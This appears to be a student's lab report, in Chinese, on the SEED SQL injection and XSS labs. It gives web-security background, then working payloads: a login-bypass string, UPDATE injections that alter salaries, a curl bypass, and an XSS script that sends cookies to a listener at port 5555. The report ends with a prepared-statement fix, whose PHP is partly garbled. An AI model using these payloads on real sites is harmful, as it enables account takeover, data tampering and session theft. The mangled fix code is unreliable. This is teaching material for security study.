20212811 2021-2022-2 《网络攻防实践》实践十

一、实践内容

Web 应用程序(Web Application)是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如 JavaScript 等脚本语言及 HTML 等渲染标记语言)所编写,或能够在浏览器控制的环境中运行(如 Java Applet),依赖于浏览器来对应用程序进行渲染与执行。web体系结构的整体架构如下图所示:


Web应用体系结构中面临的安全威胁有:

  • 针对浏览器和终端用户的Web浏览安全威胁。具体包括以浏览器渗透攻击为核心的网页木马,Phishing 网站钓鱼等。
  • 针对传输网络的网络协议安全威胁。如针对HTTP明文传输协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等。
  • 系统层安全威胁。Web站点的宿主操作系统,如 Windows Server、Linux 等,存在着远程渗透攻击和本地渗透攻击威胁。
  • Web服务器软件安全威胁。Web服务器软件如IIS、Apache作为一种典型的网络服务,也不可避免地存在着安全漏洞与弱点,攻击者可以利用这些漏洞对Web服务器实施渗透攻击,或者获取敏感信息。
  • Web 应用程序安全威胁。程序员在使用 ASP、PHP 等脚本编程语言实现 Web 应用程序时,由于缺乏安全意识或有着不良的编程习惯,最终导致Web应用程序出现安全漏洞,从而被攻击者渗透利用,包括SQL注入攻击、XSS跨站脚本攻击等。
  • Web 数据安全威胁。Web 站点中在Web应用程序后台存储的关键数据内容,以及Web客户输入的数据内容,存在着被窃取、篡改及输入不良信息等威胁。

本次实验涉及到的两种攻击方式为:

1、SQL注入

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入攻击步骤和过程主要为:

  • SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。
  • 收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。
  • 猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。
  • 查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
  • 入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。
    SQL注入攻击防范措施:
  • 使用类型安全的参数编码机制
  • 凡是来自外部的用户输入,必须进行完备检查
  • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
  • 加强SQL数据库服务器的配置与连接

2、XSS跨站脚本攻击

跨站脚本攻击指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通讯软件、甚至在阅读电子邮件时,通常会点击其中的链接。攻击者通过在链接中插入恶意代码,就能够盗取用户信息。
XSS攻击类型:

  • 持久型XSS攻击,最直接的危害类型,跨站代码存储在服务器。
  • XSS反射型攻击,最普遍的类型。恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击的。

XSS攻击防范措施 :

  • 输入验证:某个数据被接受为可被显示或存储之前,使用标准输入验证机制,验证所有输入数据的长度、类型、语法以及业务规则。
  • 输出编码:数据输出前,确保用户提交的数据已被正确进行entity编码,建议对所有字符进行编码而不仅局限于某个子集。
  • 明确指定输出的编码方式:不要允许攻击者为你的用户选择编码方式(如ISO 8859-1或 UTF 8)。
  • 注意黑名单验证方式的局限性:仅仅查找或替换一些字符(如"<" ">"或类似"script"的关键字),很容易被XSS变种攻击绕过验证机制。
  • 警惕规范化错误:验证输入之前,必须进行解码及规范化以符合应用程序当前的内部表示方法。请确定应用程序对同一输入不做两次解码。

二、实践过程

(一)SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

1、熟悉SQL语句

在进行实验之前,首先使用命令sudo service apache2 start开启apache服务,可以使用sudo service apache2 status查看运行状态,同时查看Firefox浏览器是否已经添加了插件HTTP Header Live

登录 MySQL 数据库, mysql -u root -pseedubuntu

 

 

输入:use Users;,使用Users这个库。

输入:select * from credential;查看credential这张表的所有内容

 

 

(4)输入:select * from credential where Name='Alice';查看数据库中Alice的所有信息。

 

 

(4)可以看到该数据库存在一个名为"credential"的表,查看这个表的详细信息

select * from credential;

 

对UPDATE语句的SQL注入攻击过程:

通过 vim /var/www/SQLInjection/unsafe_home.php ,找到核心的SQL语句,其中where部分存在可以进行注入攻击的漏洞

 

 

 

利用注释特性,当变量input_uname为Admin' #时,这部分变成了:WHERE name= 'Admin' #' and Password='input_uname为Admin' #时,这部分变成了:WHERE name= 'Admin' #' and Password='hashed_pwd'实际上,#后面的语句都被注释掉了,那这部分就变成:WHERE name= 'Admin',这样的话,就可以绕过密码校验,直接进入Admin用户页面。测试输入用户名为Admin' #,密码为空:

 

2、对 SELECT 语句的 SQL 注入攻击

(1)使用 SEED 访问已经搭建好的 Web 页面: www.SEEDLabSQLInjection.com,检验我们的想法,只输入用户名为admin’#,不输入密码,实现在不知道密码情况下登录web应用程序。

 

 

 

登录进入后界面如下,登录成功,可以看到Web应用存在SQL输入漏洞。

 

 

 

 

 

 

 

 (2)然后点击页面上方的Edit Profile进入更新信息页面

 

3)在unsafe_edit_backend.php中找到 SQL 语句,vim /var/www/SQLInjection/unsafe_edit_backend.php,发现不能对个人工资进行更新修改,同时由上文可以知道 Alice 的编号是 10000,变量$input_nickname对应的就是用户输入的 NickName

终端输入curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'也可以成功登录。

 首先我们的任务是修改Alice的工资。 在NickName那里输入语句 ', salary='500000' where EID='10000';# 这样#后面的就会被注释,所以就直接执行set salary='500000' where EID = '10000' 这个指令,所以直接修改了工资。这个时候回去看自己的profile应该能看到是已经修改成功的,证明我们的攻击成功。

 

 

 

 下面的任务是修改其他人的工资。那么我们只要在Alice修改的界面的nickname输入', salary='1' where name='Boby';#

 

 

再进入Boby的界面,我们发现工资已经成功修改。这个原理和上面相同。

 

 

4. SQL对抗,修复上述SQL注入攻击漏洞

 

SQL注入漏洞的本质原因是由于执行语句和数据放在一起导致的,使用预处理语句机制可以很好的防止这一攻击出现。

首先在unsafe_home.php页面中,对SELECT语句进行预处理

原来的语句:

$sql = "SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password

FROM credential

WHERE name= 'inputunameandPassword=inputuname′andPassword=′hashed_pwd'";

 

 

使用绑定参数的方法,修改为

sql=sql=conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?");

sql>bindparam("ss",sql−>bindparam("ss",input_uname, $hashed_pwd);

 

 

 

后在unsafe_edit_backend.php页面中,对UPDATE语句进行预处理。

原来的语句:

sql="UPDATEcredentialSETnickname=sql="UPDATEcredentialSETnickname=′input_nickname',email='inputemail,address=inputemail′,address=′input_address',PhoneNumber='inputphonenumberwhereID=inputphonenumber′whereID=id;";

 

 

修改为

sql=sql=conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");

sql>bindparam("ssss",sql−>bindparam("ssss",input_nickname, inputemail,inputemail,input_address, $input_phonenumber);

 

 

修复后发现原来的攻击已经失效

 
 

2.2跨站脚本攻击实验

 

 

 

2.2.1 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

首先我们登录实验所使用的网址:www.xsslabelgg.com,如下图所示:

 之后我们先用Alice的账号密码进行登录,密码为seedalice:

 

 

 

 

 

之后我们点击左上角头像进入个人主页:

 

 点击edit profile按钮进入编辑个人信息页面

 

 

后我们往下找到Brief description并在其中插入我们的XSS攻击代码;如下图所示:

 

 

 点击保存之后我们回到个人主页就可以看到XSS的攻击效果,出现了警报窗口,如下图所示:

 

2.2.2 弹窗显示cookie信息:将cookie信息显示。

该实验只需将上一步实验中插入Brief description中的代码修改为即可完成,如下图所示

 

 

 

 

如图所示,成功通过弹窗显示了cookie信息。

2.2.3 窃取受害者的cookies:将cookie发送给攻击者。

以通过使恶意的JavaScript插入一个<img>标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。下面我们使用JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。

使用命令<script>document.write('<img src=http://127.0.0.1:5555?c='+escape(document.cookie) + ' >');</script>,所以这里使用的是本地作为攻击者的服务器。

 

 

 然后使用nc进行监听5555端口,使用指令nc -l 5555 -v,-l指定端口,-v显示详细信息。使用boby的账户登录并且查看Alice的账户profile就能够得到boby的cookie信息。

 

4.成为受害者的朋友

(1)登录用户为 Alice,然后访问用户 Boby 的主页:http://www.xsslabelgg.com/profile/boby,使用快捷键ctrl+shift+E打开火狐浏览器开发者模式中的 Network 页面,然后点击左侧的Add friend,添加 Boby 为好友

posted @ 2022-05-22 20:07  董子超  阅读(132)  评论(0编辑  收藏  举报